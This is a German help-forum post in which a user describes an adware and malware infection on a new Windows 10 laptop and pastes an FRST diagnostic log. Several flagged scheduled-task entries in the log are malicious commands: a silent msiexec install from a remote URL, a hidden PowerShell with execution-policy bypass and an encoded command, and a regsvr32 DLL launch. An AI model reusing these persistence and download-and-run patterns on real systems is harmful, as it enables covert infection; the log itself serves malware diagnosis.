Trojaner-Board

Trojaner-Board (https://www.trojaner-board.de/)
-   Log-Analyse und Auswertung (https://www.trojaner-board.de/log-analyse-auswertung/)
-   -   Windows 10: Malwares, ungewollte Programme und langsamer Laptop nach falschem Download (https://www.trojaner-board.de/185820-windows-10-malwares-ungewollte-programme-langsamer-laptop-falschem-download.html)

Twix. 02.06.2017 17:08
Windows 10: Malwares, ungewollte Programme und langsamer Laptop nach falschem Download
 
Liste der Anhänge anzeigen (Anzahl: 2)
Hallo,

ich habe vor wenigen Tagen einen neuen, individuell zusammengestellten Laptop mit Windows 10 bekommen. Ich habe ihn einrichten lassen, leider ohne Antivirenprogramm, aber mit dem Windows Defender. Nun habe ich wohl bei einem Download einen versteckten Virus runtergeladen.
Sofort installierten sich Verknüpfungen auf meinem Rechner, viele blinkende Programme und Pop-Ups waren kaum noch loszuwerden und mein Browser spielt verrückt: Neue Tabs öffnen sich ständig, überall kommt trotz Ad-Blocker Werbung auf und so weiter. Zudem zeigt der Windows-Defender an, dass der Viren-& Bedrohungsschutz beendet wurde, er lässt sich aber nicht neu starten.
Ich habe noch versucht Anti-Malware-Bytes zu installieren, jedoch erfolglos, da der Browser auf keine Downloads mehr reagiert. Die Log-Dateien habe ich herstellen können, indem ich mir die FRST Datei vom alten Rechner über einen USB Stick besorgt habe.

Im Code ist die addition.txt. Die FRST.txt musste geteilt in die ANhänge, dabei ist ,,Neues Textdokument'' der zweite Teil.

Code:
Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 02-06-2017
durchgeführt von **** (02-06-2017 18:02:34)
Gestartet von C:\Users\****\Desktop
Windows 10 Home Version 1703 (X64) (2017-05-29 14:19:37)
Start-Modus: Normal
==========================================================


==================== Konten: =============================

Administrator (S-1-5-21-743485210-3963512150-464095969-500 - Administrator - Disabled)
DefaultAccount (S-1-5-21-743485210-3963512150-464095969-503 - Limited - Disabled)
Gast (S-1-5-21-743485210-3963512150-464095969-501 - Limited - Disabled)
**** (S-1-5-21-743485210-3963512150-464095969-1003 - Administrator - Enabled) => C:\Users\****

==================== Sicherheits-Center ========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installierte Programme ======================

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)

1.0.0.1 (HKLM-x32\...\YeaDesktop) (Version: 1.0.0.1 - )
2007 Microsoft Office Suite Service Pack 3 (SP3) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{6E107EB7-8B55-48BF-ACCB-199F86A2CD93}) (Version:  - Microsoft)
2007 Microsoft Office Suite Service Pack 3 (SP3) (x32 Version:  - Microsoft) Hidden
Airplane Mode Hid Installer (HKLM-x32\...\{5E5B067F-52A4-447E-A3F1-D6DD10565E73}) (Version: 5.0.0.2 - )
Anno 1404 (HKLM\...\Steam App 33250) (Version:  - Blue Byte)
Ansel (Version: 382.05 - NVIDIA Corporation) Hidden
AppTrailers - AppTrailers for Desktop (HKLM-x32\...\AppTrailers) (Version: 13.1.6amt - AppTrailers) <==== ACHTUNG
Classic Shell (HKLM\...\{383BB30A-B4A7-4666-9A83-22CFA8640097}) (Version: 4.3.0 - IvoSoft)
Control Center 5.0001.1.17 (HKLM-x32\...\{2F385B5D-5F23-4513-B3CE-9F5E4F4B882A}) (Version: 5.0001.1.17 - )
Counter-Strike: Global Offensive (HKLM\...\Steam App 730) (Version:  - Valve)
EgisTec Fingerprint Driver (HKLM-x32\...\InstallShield_{E8C889B8-0A8B-46BA-B433-F7D6968A6543}) (Version: 3.5.1.0 - Egis Technology Inc.)
Europa Universalis IV (HKLM\...\Steam App 236850) (Version:  - Paradox Development Studio)
Fingerprint Driver (x32 Version: 3.5.1.0 - Egis Technology Inc.) Hidden
Garry's Mod (HKLM\...\Steam App 4000) (Version:  - Facepunch Studios)
Grand Theft Auto: San Andreas (HKLM\...\Steam App 12120) (Version:  - Rockstar Games)
HDWallPaper 1.0 (HKLM-x32\...\HDWallPaper_is1) (Version: 1.0.0.90 - HDWallPaper) <==== ACHTUNG
Infestation: The New Z (HKLM\...\Steam App 555570) (Version:  - Fredaikis AB)
initialpage123 - Uninstall (HKLM-x32\...\{5B6D5666-212A-41F6-9998-50DEB67E6206}) (Version:  - ) <==== ACHTUNG
initialsite123 - Uninstall (HKLM-x32\...\{A60D1320-AE33-47D6-961D-FA55E81438A1}) (Version:  - ) <==== ACHTUNG
Insyde Airplane Mode HID Mini-Driver (HKLM\...\AirplaneModeHid) (Version: 1.4.0.3 - Insyde Corporation)
Intel(R) Management Engine Components (HKLM\...\{1CEAC85D-2590-4760-800F-8DE5E91F3700}) (Version: 11.6.0.1039 - Intel Corporation)
Intel(R) Online Connect Software Asset Manager (x32 Version: 3.4.2095 - Intel Corporation) Hidden
Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 21.20.16.4550 - Intel Corporation)
Intel(R) Rapid Storage Technology (HKLM\...\{409CB30E-E457-4008-9B1A-ED1B9EA21140}) (Version: 15.2.0.1020 - Intel Corporation)
Men of War: Assault Squad (HKLM\...\Steam App 64000) (Version:  - Digitalmindsoft)
Men of War: Assault Squad 2 (HKLM\...\Steam App 244450) (Version:  - Digitalmindsoft)
Microsoft Office Enterprise 2007 (HKLM-x32\...\ENTERPRISE) (Version: 12.0.6612.1000 - Microsoft Corporation)
Microsoft Office File Validation Add-In (HKLM-x32\...\{90140000-2005-0000-0000-0000000FF1CE}) (Version: 14.0.5130.5003 - Microsoft Corporation)
Microsoft Office Live Add-in 1.5 (HKLM-x32\...\{F40BBEC7-C2A4-4A00-9B24-7A055A2C5262}) (Version: 2.0.4024.1 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.23506 (HKLM-x32\...\{3ee5e5bb-b7cc-4556-8861-a00a82977d6c}) (Version: 14.0.23506.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.23026 (HKLM-x32\...\{74d0e5db-b326-4dae-a6b2-445b9de1836e}) (Version: 14.0.23026.0 - Microsoft Corporation)
Mount & Blade: Warband (HKLM\...\Steam App 48700) (Version:  - TaleWorlds Entertainment)
Mozilla Firefox 53.0.3 (x86 de) (HKLM-x32\...\Mozilla Firefox 53.0.3 (x86 de)) (Version: 53.0.3 - Mozilla)
Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 53.0.3 - Mozilla)
NetAdapterUpdate (HKLM-x32\...\{78CA4ACE-D7CF-418B-B212-8E51822B566E}) (Version: 2.3.5 - devnull)
NVIDIA 3D Vision Treiber 382.05 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.3DVision) (Version: 382.05 - NVIDIA Corporation)
NVIDIA GeForce Experience 3.6.0.74 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.GFExperience) (Version: 3.6.0.74 - NVIDIA Corporation)
NVIDIA Grafiktreiber 382.05 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver) (Version: 382.05 - NVIDIA Corporation)
NVIDIA HD-Audiotreiber 1.3.34.17 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_HDAudio.Driver) (Version: 1.3.34.17 - NVIDIA Corporation)
NVIDIA PhysX-Systemsoftware 9.16.0318 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.PhysX) (Version: 9.16.0318 - NVIDIA Corporation)
NvNodejs (Version: 3.6.0.74 - NVIDIA Corporation) Hidden
NvTelemetry (Version: 2.4.10.0 - NVIDIA Corporation) Hidden
NvvHci (Version: 2.02.0.5 - NVIDIA Corporation) Hidden
OtherSearch (HKLM-x32\...\OtherSearch) (Version: 4.0.0.0 - Skyler Emil) <==== ACHTUNG
Overwolf (HKLM-x32\...\Overwolf) (Version: 0.104.210.0 - Overwolf Ltd.)
PC Clean Plus (HKLM-x32\...\PC Clean Plus_is1) (Version: 3.6 - pccleanplus.com) <==== ACHTUNG
pccleanplus (HKLM\...\pccleanplus) (Version: 1.8 - pccleanplus) <==== ACHTUNG
pchandller (HKLM\...\pchandller) (Version: 2.3 - pchandller)
ProxyGate version 3.0.0.1180 (HKLM-x32\...\{1EC095EE-8CA3-43D6-B9F5-0C55B82ED3D7}}_is1) (Version: 3.0.0.1180 - Gold Click Ltd) <==== ACHTUNG
Realtek Card Reader (HKLM-x32\...\{5BC2B5AB-80DE-4E83-B8CF-426902051D0A}) (Version: 10.0.14393.21292 - Realtek Semiconductor Corp.)
Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 10.10.714.2016 - Realtek)
Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.8029 - Realtek Semiconductor Corp.)
Rocket League (HKLM\...\Steam App 252950) (Version:  - Psyonix, Inc.)
Search module (HKLM-x32\...\Search module) (Version:  - Goobzo) <==== ACHTUNG
SHIELD Streaming (Version: 7.1.0370 - NVIDIA Corporation) Hidden
SHIELD Wireless Controller Driver (Version: 3.6.0.74 - NVIDIA Corporation) Hidden
Social2Search (HKLM\...\a7818f1c7050f50263d826b899a2aec2) (Version: 11.14.1.51 (i1.0) - Social2Search) <==== ACHTUNG
Sound Blaster Cinema 3 (HKLM-x32\...\{883EEEA5-1C5A-42BD-96C3-796F2ACB9120}) (Version: 1.00.14 - Creative Technology Limited)
Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)
Stellaris (HKLM\...\Steam App 281990) (Version:  - Paradox Development Studio)
SwytShop version 1.0 (HKU\S-1-5-21-743485210-3963512150-464095969-1003\...\SwytShop_Pkg3_is1) (Version: 1.0 - SwytShop)
Synaptics Pointing Device Driver (HKLM\...\SynTPDeinstKey) (Version: 19.3.4.58 - Synaptics Incorporated)
System Healer (HKLM-x32\...\SystemHealer) (Version: 4.4.0.3 - SystemHealer) <==== ACHTUNG
Tabletop Simulator (HKLM\...\Steam App 286160) (Version:  - Berserk Games)
TeamSpeak 3 Client (HKLM\...\TeamSpeak 3 Client) (Version: 3.1.4 - TeamSpeak Systems GmbH)
TeamViewer 12 (HKLM-x32\...\TeamViewer) (Version: 12.0.78313 - TeamViewer)
The Guild II: Renaissance (HKLM\...\Steam App 39680) (Version:  - Rune Forge)
Total Commander 64-bit (Remove or Repair) (HKLM-x32\...\Totalcmd64) (Version: 9.0 - Ghisler Software GmbH)
Up Pro version 0.9.35.2 (HKLM-x32\...\{40369812-21FB-4BE0-8508-387636F329D1}_is1) (Version: 0.9.35.2 - Up Pro)
Update for 2007 Microsoft Office System (KB967642) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{C444285D-5E4F-48A4-91DD-47AAAA68E92D}) (Version:  - Microsoft)
Update für Microsoft Office Excel 2007 Help (KB963678) (HKLM-x32\...\{90120000-0016-0407-0000-0000000FF1CE}_ENTERPRISE_{BEC163EC-7A83-48A1-BFB6-3BF47CC2F8CF}) (Version:  - Microsoft)
Update für Microsoft Office Outlook 2007 Help (KB963677) (HKLM-x32\...\{90120000-001A-0407-0000-0000000FF1CE}_ENTERPRISE_{F6828576-6F79-470D-AB50-69D1BBADBD30}) (Version:  - Microsoft)
Update für Microsoft Office Powerpoint 2007 Help (KB963669) (HKLM-x32\...\{90120000-0018-0407-0000-0000000FF1CE}_ENTERPRISE_{EA160DA3-E9B5-4D03-A518-21D306665B96}) (Version:  - Microsoft)
Update für Microsoft Office Word 2007 Help (KB963665) (HKLM-x32\...\{90120000-001B-0407-0000-0000000FF1CE}_ENTERPRISE_{38472199-D7B6-4833-A949-10E4EE6365A1}) (Version:  - Microsoft)
Vulkan Run Time Libraries 1.0.42.1 (HKLM\...\VulkanRT1.0.42.1) (Version: 1.0.42.1 - LunarG, Inc.)
WHV4aVqDz8Bs1NavW version 1.0 (HKLM-x32\...\{1fd06d23-1810-464b-b9c5-b92c28776962}_is1) (Version: 1.0 - )
WinRAR 5.40 (64-Bit) (HKLM\...\WinRAR archiver) (Version: 5.40.0 - win.rar GmbH)

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003_Classes\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei
CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003_Classes\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei
CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003_Classes\CLSID\{82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

Task: {04449EC3-FDDC-4753-8716-3A8F0E256BF8} - System32\Tasks\{C827D984-7F8C-6E2F-8647-4EA9645C1CC9} => C:\ProgramData\{6820C702-DF8B-70A9-0EEB-609B7D7FF099}\C7A468EE-700F-DF45-D7C1-660944E77E98.exe [2017-06-02] () <==== ACHTUNG
Task: {0C4D4B81-F450-4B0B-8C72-E729304B408F} - System32\Tasks\Overwolf Updater Task => C:\Program Files (x86)\Overwolf\OverwolfUpdater.exe [2017-05-14] (Overwolf LTD)
Task: {0DE1A787-B89C-4D33-8668-0E37E5368606} - System32\Tasks\PC Clean Plus_UPDATES => C:\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe [2017-01-05] (PC Clean Plus) <==== ACHTUNG
Task: {0E3179A4-0F7C-4D6D-87F5-D4DF96B7B47F} - System32\Tasks\GEN_Interval => C:\Users\****\AppData\Local\Programs\GEN\GEN.exe [2017-05-24] (                                                            ) <==== ACHTUNG
Task: {0F554480-7D29-423E-A816-01813EC1A22E} - System32\Tasks\IUM-F1E24CA0-B63E-4F13-A9E3-4ADE3BFF3473 => C:\Program Files (x86)\Intel\Intel(R) Update Manager\bin\iumsvc.exe
Task: {238AEADB-2753-4340-8BA8-5931247C4ECC} - System32\Tasks\Microsoft\Windows\DeviceSettings\Holsychodush => msiexec.exe /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=SamsungXSSDX850XEVOXMX2X250GB_S33CNX0J318678L&amp;d=20170602 /q <==== ACHTUNG
Task: {2FE85189-217B-485E-92C6-5492C0B47F50} - System32\Tasks\NVIDIA GeForce Experience SelfUpdate_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA GeForce Experience.exe [2017-05-03] (NVIDIA Corporation)
Task: {3216FFA8-65EA-466A-9EAA-3AA1E8F7E9B3} - System32\Tasks\System Healer Task => C:\Program Files (x86)\SystemHealer\RescueMonitor.exe [2016-12-26] () <==== ACHTUNG
Task: {3643BE30-1B19-4C8B-B477-934A71E7FBD5} - System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [2017-05-03] (NVIDIA Corporation)
Task: {42CCB202-504C-4449-8CA7-BDFA2F30CA79} - System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7 => C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\IntelSoftwareAssetManagerService.exe [2016-10-14] (Intel Corporation)
Task: {4BED09D5-6922-4AB0-A5F7-02573B1A17CD} - System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-05-03] (NVIDIA Corporation)
Task: {52F162F3-33B8-4125-AF66-77705CE893B3} - System32\Tasks\Microsoft\Windows\MemoryDiagnostic\VideoMemoryDiagnostic => C:\\ProgramData\\VideoMemoryDiagnostic\\vmdiag.exe [2017-05-26] ()
Task: {532C17B9-861A-40D4-AB56-24DDCD9FFD0D} - System32\Tasks\OneDrive Standalone Update Task v2 => %localappdata%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe
Task: {580ECAAB-83D0-4420-BC5F-378E24B7755B} - System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-05-03] (NVIDIA Corporation)
Task: {5A44259A-0D09-4AF9-9E68-91F9E68B5DFD} - System32\Tasks\PC Clean Plus => C:\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe [2017-01-05] (PC Clean Plus) <==== ACHTUNG
Task: {66F6D02A-2656-4903-82B4-45CED3B7AC8B} - System32\Tasks\GEN => C:\Users\****\AppData\Local\Programs\GEN\GEN.exe [2017-05-24] (                                                            ) <==== ACHTUNG
Task: {6E5EBDAB-4465-4EC8-B91B-1AB9E378F2A1} - System32\Tasks\{0F7A0847-7F0A-0E0F-0A11-0E797E7F1178} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand IAAgADsAIAA7ADsAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0A (Der Dateneintrag hat 10016 mehr Zeichen). <==== ACHTUNG
Task: {7C5F547D-0F21-47A0-BA16-407374E5B362} - System32\Tasks\updater => C:\Program Files (x86)\devnull\NetAdapterUpdate\updater.exe [2017-05-13] (devnull)
Task: {81403F40-29BA-4B80-A6C1-95B9D9F3D921} - System32\Tasks\SystemHealer Monitor => C:\Program Files (x86)\SystemHealer\HealerConsole.exe [2016-12-26] () <==== ACHTUNG
Task: {89CE767F-A6B8-486C-BA73-12A14E6E13D4} - System32\Tasks\Ckadoleatgy Nodifier => C:\Program Files (x86)\Ferbis\yaupdcache.exe [2017-06-02] ()
Task: {8BC35C08-BEAE-4DCA-8814-715C10631294} - System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-05-03] (NVIDIA Corporation)
Task: {8EFE5671-0A27-4592-A99B-5E7AF2553206} - System32\Tasks\RunAtStartup => C:\Users\****\AppData\Roaming\Event Monitor\em.exe [2017-01-05] () <==== ACHTUNG
Task: {946B1704-9D1A-4004-99EB-86EE822427D4} - System32\Tasks\Intel PTT EK Recertification => C:\Program Files\Intel\iCLS Client\IntelPTTEKRecertification.exe [2016-10-13] (Intel(R) Corporation)
Task: {9893636E-3E73-40B2-995D-CD8AF0BAF7A5} - System32\Tasks\PC Clean Plus_DEFAULT => C:\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe [2017-01-05] (PC Clean Plus) <==== ACHTUNG
Task: {9C71C7BC-A4F9-4792-B07A-8B2029522EBF} - System32\Tasks\HDWallPaper => C:\Program Files (x86)\HDWallPaper\HDWallPaper.exe [2017-04-10] (HDWallPaper) <==== ACHTUNG
Task: {9E08244B-B4C0-47E0-BAE9-A61349F73916} - System32\Tasks\SMW_UpdateTask_Time_313435353035373830362d6c375a5a5b6c32322d343441 => Wscript.exe //B "C:\ProgramData\SearchModule\smhe.js" smu.exe /invoke /f:check_services /l:0 <==== ACHTUNG
Task: {A0B8C401-754F-45ED-AB54-A4196A516902} - System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-05-03] (NVIDIA Corporation)
Task: {ADE39FBA-816B-4FAD-95E1-7AD07B985F58} - System32\Tasks\RPUK1pwTVu => C:\Program Files (x86)\MTGpsFmYZE\updengine.exe [2017-06-02] () <==== ACHTUNG
Task: {BFD31B3A-86EE-4B13-AFA6-510FF11B2FD0} - System32\Tasks\System HealerPeriod => C:\Program Files (x86)\SystemHealer\SystemHealer.exe [2016-12-26] () <==== ACHTUNG
Task: {C7C2748E-16DD-47D8-BA7D-E3779A980DC9} - System32\Tasks\SystemHealer Run Delay => C:\Program Files (x86)\SystemHealer\SystemHealer.exe [2016-12-26] () <==== ACHTUNG
Task: {CE717A1A-E0B7-4A62-A58D-3CF8778369F4} - System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7-Logon => C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\IntelSoftwareAssetManagerService.exe [2016-10-14] (Intel Corporation)
Task: {D2CAA64B-EFEE-4B71-B535-3D39B9088D9F} - System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmMon.exe [2017-05-03] (NVIDIA Corporation)
Task: {D8D1CFA3-73DA-4343-ADB6-8A0C86C1E0C7} - System32\Tasks\System HealerStartUp => C:\Program Files (x86)\SystemHealer\SystemHealer.exe [2016-12-26] () <==== ACHTUNG
Task: {E4CCFFA0-D020-4654-BB23-EB12886EDAE6} - System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NvNode\nvnodejslauncher.exe [2017-05-03] (NVIDIA Corporation)
Task: {EE9F0F68-1AD2-4E7A-94C7-0ED26A1F840C} - System32\Tasks\SMW_P => C:\ProgramData\smp2.exe [2017-06-02] () <==== ACHTUNG
Task: {EEBC44B0-511A-4C5F-9B46-3EAC0073EB4A} - System32\Tasks\NetAdapterUpdate => C:\Program Files (x86)\devnull\NetAdapterUpdate\NetAdapterUpdate.exe [2017-05-13] (Node.js)
Task: {EFBCCF79-379D-4EE5-A35C-38F7F7E527CB} - System32\Tasks\{BF718E62-62DC-45A4-6528-9B2B61757352} => Regsvr32.exe /s /n /i:"/rt" "C:\PROGRA~3\2dfe3513\27a038f3.dll" <==== ACHTUNG

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)

Task: C:\windows\Tasks\PC Clean Plus_DEFAULT.job => C:\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe <==== ACHTUNG
Task: C:\windows\Tasks\PC Clean Plus_UPDATES.job => C:\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe <==== ACHTUNG
Task: C:\windows\Tasks\System HealerPeriod.job => C:\Program Files (x86)\SystemHealer\SystemHealer.exe <==== ACHTUNG
Task: C:\windows\Tasks\System HealerStartUp.job => C:\Program Files (x86)\SystemHealer\SystemHealer.exe <==== ACHTUNG

==================== Verknüpfungen =============================

(Die Einträge können gelistet werden, um sie zurückzusetzen oder zu entfernen.)

ShortcutWithArgument: C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Internet Explorer.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) -> hxxp://www%2dsearching.com/?prd=set_epf&s=h62zbcnbl1au,e3bcafb6-2bac-4804-af21-ff737cd86f90,
ShortcutWithArgument: C:\Users\****\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Mozilla Firefox.lnk -> C:\Program Files (x86)\Mozilla Firefox\firefox.exe (Mozilla Corporation) -> hxxp://www-searching.com/?prd=set_epf&s=h62zbcnbl1au,e3bcafb6-2bac-4804-af21-ff737cd86f90,
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk -> C:\Program Files (x86)\Mozilla Firefox\firefox.exe (Mozilla Corporation) -> hxxp://www-searching.com/?prd=set_epf&s=h62zbcnbl1au,e3bcafb6-2bac-4804-af21-ff737cd86f90,
ShortcutWithArgument: C:\Users\Public\Desktop\Mozilla Firefox.lnk -> C:\Program Files (x86)\Mozilla Firefox\firefox.exe (Mozilla Corporation) -> hxxp://www-searching.com/?prd=set_epf&s=h62zbcnbl1au,e3bcafb6-2bac-4804-af21-ff737cd86f90,

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============

2017-06-02 17:04 - 2017-06-02 17:10 - 00624640 _____ () C:\Windows\System32\NetUtils2016.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00133752 _____ () C:\Program Files\NVIDIA Corporation\Display\NvSmartMax64.dll
2017-06-02 17:04 - 2017-06-02 17:04 - 00322560 _____ () C:\Program Files (x86)\Ckadoleatgy Nodifier\local64spl.dll
2017-06-02 17:04 - 2017-06-02 17:04 - 00066560 _____ () C:\Program Files\Windows Photo Viewer\PF9EN7MZPG8PJRT7XQ49IUO12\Uvc8ar6pQv.exe
2016-10-17 20:00 - 2016-10-17 20:00 - 00107752 _____ () C:\Program Files\Intel\Intel(R) Online Connect Access\libglog.dll
2016-10-17 20:00 - 2016-10-17 20:00 - 00412904 _____ () C:\Program Files\Intel\Intel(R) Online Connect Access\JsonCpp.dll
2017-06-01 11:31 - 2017-06-01 11:31 - 01347584 _____ () C:\Program Files\a7818f1c7050f50263d826b899a2aec2\39513e45cd53f1540003feb9090aecae.exe
2017-05-12 15:18 - 2017-05-03 22:21 - 01267320 _____ () C:\Program Files\NVIDIA Corporation\NvContainer\libprotobuf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138000 _____ () C:\windows\SYSTEM32\inputhost.dll
2016-11-01 17:18 - 2016-11-01 17:18 - 00253664 _____ () C:\Program Files\Intel\Intel(R) Online Connect\CSLibWrapper.dll
2017-06-02 17:04 - 2017-01-05 18:45 - 03292608 _____ () C:\Users\****\AppData\Roaming\Event Monitor\em.exe
2017-05-12 15:21 - 2016-03-15 13:55 - 00089600 _____ () C:\windows\SYSTEM32\CmdRtr64.DLL
2017-05-12 15:21 - 2016-03-15 13:54 - 00359424 _____ () C:\windows\SYSTEM32\APOMgr64.DLL
2017-06-02 17:04 - 2017-06-02 17:04 - 00092160 _____ () C:\Users\****\AppData\Local\Temp\34-a27fe-e7b-ae1a4-4608880fdbb52\ZPZVYIZHUS.exe
2017-06-02 17:05 - 2017-04-24 02:45 - 02794496 _____ () C:\Users\****\AppData\Roaming\gplyra\gplyra\gplyra.exe
2017-06-02 17:05 - 2017-05-27 13:10 - 03423744 _____ () C:\Program Files (x86)\YeaDesktop\YeaDesktop.exe
2017-06-02 17:06 - 2017-06-02 17:06 - 02072576 _____ () C:\Users\****\AppData\Local\Temp\00005874\msiql.exe
2017-06-01 22:05 - 2017-05-03 22:20 - 00034424 _____ () C:\Program Files\NVIDIA Corporation\nvstreamsrv\boost_system-vc120-mt-1_58.dll
2017-06-01 22:05 - 2017-05-03 22:20 - 00920184 _____ () C:\Program Files\NVIDIA Corporation\nvstreamsrv\boost_regex-vc120-mt-1_58.dll
2017-06-01 11:21 - 2017-06-01 11:21 - 47836328 _____ () C:\Users\****\AppData\Roaming\AppTrailers\AppTrailers.exe
2017-06-02 17:06 - 2017-06-02 17:06 - 01335808 _____ () C:\ProgramData\{6820C702-DF8B-70A9-0EEB-609B7D7FF099}\C7A468EE-700F-DF45-D7C1-660944E77E98.exe
2017-03-18 22:59 - 2017-03-20 06:36 - 01731072 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core.dll
2017-06-02 08:50 - 2017-06-02 08:50 - 01081344 _____ () C:\Program Files (x86)\MTGpsFmYZE\kl.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01040504 _____ () C:\Program Files (x86)\NVIDIA Corporation\NvContainer\libprotobuf.dll
